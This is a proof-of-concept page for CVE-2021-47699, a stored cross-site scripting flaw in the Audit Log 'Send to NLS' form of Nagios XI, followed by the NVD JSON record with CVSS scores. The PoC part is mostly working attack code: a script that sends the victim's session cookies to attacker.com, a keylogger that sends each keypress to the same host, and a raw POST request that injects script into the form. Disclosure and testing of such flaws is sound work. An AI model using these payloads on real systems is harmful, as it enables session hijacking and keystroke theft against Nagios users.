CVE-2021-47699

<!-- CVE-2021-47699 PoC: Nagios XI XSS via Audit Log Send to NLS Form --> <!-- This PoC demonstrates the stored XSS vulnerability in Nagios XI --> <!-- Step 1: Inject malicious JavaScript payload through the Send to NLS form --> <!-- The payload can be injected in fields like log description, notes, or related input fields --> <!-- Example XSS Payload --> <script> // Steal session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?c=' + encodeURIComponent(cookies), true); xhr.send(); // Alternative payload: DOM-based keylogger document.addEventListener('keypress', function(e) { var key = e.key; fetch('https://attacker.com/log?k=' + key); }); </script> <!-- Step 2: Wait for victim to access Audit Log page --> <!-- When the page renders, the stored script executes in victim's browser context --> <!-- Step 3: Attacker's controlled endpoint receives stolen data --> <!-- Attacker can then use stolen session to perform authenticated actions --> <!-- HTTP Request Example (simulating form submission) --> POST /nagiosxi/includes/components/auditlog/send_nls.php HTTP/1.1 Host: target-server Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=victim_session_id log_id=12345&description=<script>alert(document.cookie)</script>&action=submit

{"cve": {"id": "CVE-2021-47699", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:41.357", "lastModified": "2025-11-05T18:22:32.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.8.7 are vulnerable to cross-site scripting (XSS) via the Audit Log page’s Send to NLS form. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.7", "matchCriteriaId": "4353C5B4-E28A-43D8-840D-4B181ED0127B"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-in-audit-log-via-send-to-nls-form", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}